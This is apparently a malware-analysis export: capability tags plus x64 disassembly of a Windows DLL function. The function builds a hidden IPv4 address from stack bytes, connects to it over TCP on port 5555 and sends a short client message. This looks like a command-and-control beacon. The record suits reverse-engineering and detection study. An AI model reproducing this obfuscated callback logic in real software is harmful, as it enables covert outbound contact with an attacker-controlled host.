Function at 0x18007f500
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x1800a4040]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r14d, r14d
mov ecx, 0x202
lea rdx, [0x1800a5800]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x18007f570
mov edx, 1
mov r8d, 6
mov r15d, 2
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18007f57c
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rax, 0xffffffffffffffff
jmp 0x18007f910
mov word [0x1800a5998], r15w
mov ecx, 0x15b3
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x1800a599a], ax
mov word [rbp - 0x44], 0x36
mov dword [rbp - 0x51], 0x2e393031
mov dword [rbp - 0x4d], 0x2e363731
mov dword [rbp - 0x49], 0x2e323032
mov byte [rbp - 0x45], 0x34
mov byte [rbp - 0x42], r14b
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea rax, [rbp - 0x51]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r14b
jne 0x18007f5d6
lea rdx, [rbp - 0x51]
lea rcx, [rbp - 0x21]
call fcn.18000fc50
nop
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], 0xf
cmova r8, qword [rbp - 0x21]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
mov r8, rbx
lea rcx, [rbp - 0x41]
call fcn.180080010
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 7
cmova rdx, qword [rbp - 0x41]
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], 0xf
cmova r8, qword [rbp - 0x21]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 7
cmova rdx, qword [rbp - 0x41]
lea r8, [0x1800a599c]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_InetPtonW]
mov rdx, qword [rbp - 0x29]
cmp rdx, 7
jbe 0x18007f6c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007f6c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007f6c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800809bc
movdqa xmm0, xmmword [0x1800939a0]
movdqu xmmword [rbp - 0x31], xmm0
mov word [rbp - 0x41], r14w
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x18007f719
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007f714
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007f714
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800809bc
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [0x1800a5998]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18007f748
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18007f90d
mov byte [rbp + 7], 0
mov qword [rbp + 0xf], r14
lea rax, [rbp - 0x41]
mov qword [rbp - 1], rax
mov byte [rbp - 0x41], 0
xor eax, eax
mov qword [rbp - 0x39], rax
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1800104f0
mov byte [rbp - 0x41], 5
mov qword [rbp - 0x39], 1
mov word [rbp - 0x54], reloc.WS2_32.dll_WSACleanup
mov dword [rbp - 0x59], 0x65696c63
mov byte [rbp - 0x55], 0x6e
mov byte [rbp - 0x52], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], r14
mov qword [rbp - 9], r14
lea rax, [rbp - 0x59]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x18007f7a4
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.18000fc50
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 7]
call fcn.180018ae0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x41]
mov byte [rax], cl
mov byte [rbp - 0x41], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 0x39]
mov qword [rax + 8], rdx
mov qword [rbp - 0x39], rcx
movzx edx, byte [rbp - 0x41]
lea rcx, [rbp - 0x39]
call fcn.1800104f0
nop
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 7]
call fcn.18001bc20
mov rbx, rax
mov qword [rbp - 0x51], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x27], xmm1
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Create_your_own_encrypt
lea rcx, [rbp + 0x17]
call fcn.18000fc50
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18007f863
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18007f85e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18007f8a6
mov rcx, r8
call fcn.1800809bc
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
lea rdx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rdx, qword [rbp + 0x17]
xor r9d, r9d
mov r8d, dword [rbp + 0x27]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18007f8ad
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18007f8b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, rsi
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x18007f8ee
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007f8e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007f8e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800809bc
movdqa xmm0, xmmword [0x1800939c0]
movdqu xmmword [rbp + 0x27], xmm0
mov byte [rbp + 0x17], 0
movzx edx, byte [rbp + 7]
lea rcx, [rbp + 0xf]
call fcn.1800104f0
nop
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1800804d0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret